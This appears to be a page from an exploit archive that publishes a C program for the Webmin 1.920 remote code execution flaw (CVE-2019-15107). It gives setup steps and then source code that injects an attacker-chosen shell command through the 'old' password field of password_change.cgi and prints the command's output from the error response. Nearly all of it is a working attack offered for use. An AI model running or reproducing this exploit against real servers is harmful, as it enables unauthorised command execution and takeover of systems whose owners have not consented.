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Webmin 1.920 Remote Code Execution

Webmin 1.920 Remote Code Execution
Posted Sep 15, 2019
Authored by BoSSaLiNiE

Webmin version 1.920 remote code execution exploit that leverages the vulnerability noted in CVE-2019-15107.

tags | exploit, remote, code execution
advisories | CVE-2019-15107
SHA-256 | 233192a3d19175ea1314a59b24a433a47278e7d0fd3f5a72f4fdeb8334763b0e

Webmin 1.920 Remote Code Execution

Change Mirror Download
////////////////////////////////////////////////////////////////////////////////////////////////
// Webmin 1.920 Remote Code Execution Exploit CVE_2019_15107.c muBoT Cut
// written in C by BoSSaLiNiE
//
// Step 1
// wget https://netix.dl.sourceforge.net/project/webadmin/webmin/1.920/webmin_1.920_all.deb
//
// Step 2
// dpkg -i webmin_1.920_all.deb
//
//
// Step 3
// sed -i s/passwd_mode=0/passwd_mode=2/g /etc/webmin/miniserv.conf;service webmin restart
//
// Step 4
// gcc CVE_2019_15107.c -o CVE_2019_15107 -lcurl
//
// ./CVE_2019_15107 10.0.0.14 "uptime"
// https://10.0.0.14:10000/password_change.cgi
// 16:16:38 up 22:15, 0 user, load average: 0.00, 0.00, 0.00
//
///////////////////////////////////////////////////////////////////////////////////////////////

#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>

int main(int argc,char* argv[])
{
CURLU *h;
CURL *curl;
CURLcode res;
struct sockaddr_in servaddr; /* socket address structure */
curl_socket_t sockfd;

char buffer[200];
char scanip[20];
char *host;
char *path;
char ref[100];
char url[100];


struct string {
char *ptr;
size_t len;
};

void init_string(struct string *s) {
s->len = 0;
s->ptr = malloc(s->len+1);
if (s->ptr == NULL) {
fprintf(stderr, "malloc() failed\n");
exit(EXIT_FAILURE);
}
s->ptr[0] = '\0';
}

size_t writefunc(void *ptr, size_t size, size_t nmemb, struct string *s)
{
size_t new_len = s->len + size*nmemb;
s->ptr = realloc(s->ptr, new_len+1);
if (s->ptr == NULL) {
fprintf(stderr, "realloc() failed\n");
exit(EXIT_FAILURE);
}
memcpy(s->ptr+s->len, ptr, size*nmemb);
s->ptr[new_len] = '\0';
s->len = new_len;

return size*nmemb;
}


curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl) {
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L);
struct curl_slist *headers=NULL;


struct string s;
init_string(&s);

headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate");
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, "Accept-Language: en");
headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");
headers = curl_slist_append(headers, "Connection: close");
headers = curl_slist_append(headers, "Cookie: redirect=1; testing=1; sid=x; sessiontest=1");
// headers = curl_slist_append(headers, "Referer: https://192.168.233.134:10000/session_login.cgi");
headers = curl_slist_append(headers, "Content-Type: application/x-www-form-urlencoded");
headers = curl_slist_append(headers, "Content-Lenght: 60");
headers = curl_slist_append(headers, "cache-control: no-cache");

sprintf(url, "https://%s:10000/password_change.cgi", argv[1]);
sprintf(ref, "https://%s:10000/session_login.cgi", argv[1]);

curl_easy_setopt(curl, CURLOPT_REFERER, ref);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers );
curl_easy_setopt(curl, CURLOPT_VERBOSE, 0);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writefunc);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);

char b64str[100000] = {0};
sprintf(b64str, "user=rootxx&pam=&expired=2&old=%s&new1=test2&new2=test2",argv[2]);

curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "POST");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, b64str);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);
// curl_easy_setopt (curl, CURLOPT_TIMEOUT, 10L);

res = curl_easy_perform(curl);

//////////////////////////FILTER//////////////////////////

// puts(s.ptr);
const char *x = s.ptr;
const char *PATTERN1 = "<center><h3>Failed to change password : The current password is incorrect";
const char *PATTERN2 = "</h3></center>";

char *target = NULL;
char *start, *end;

if ( start = strstr( x, PATTERN1 ) )
{
start += strlen( PATTERN1 );
if ( end = strstr( start, PATTERN2 ) )
{
target = ( char * )malloc( end - start + 1 );
memcpy( target, start, end - start );
target[end - start] = '\0';
}
}

if ( target )
puts(url);
puts( target );

free( target );

free(s.ptr);


}
return 0;
}

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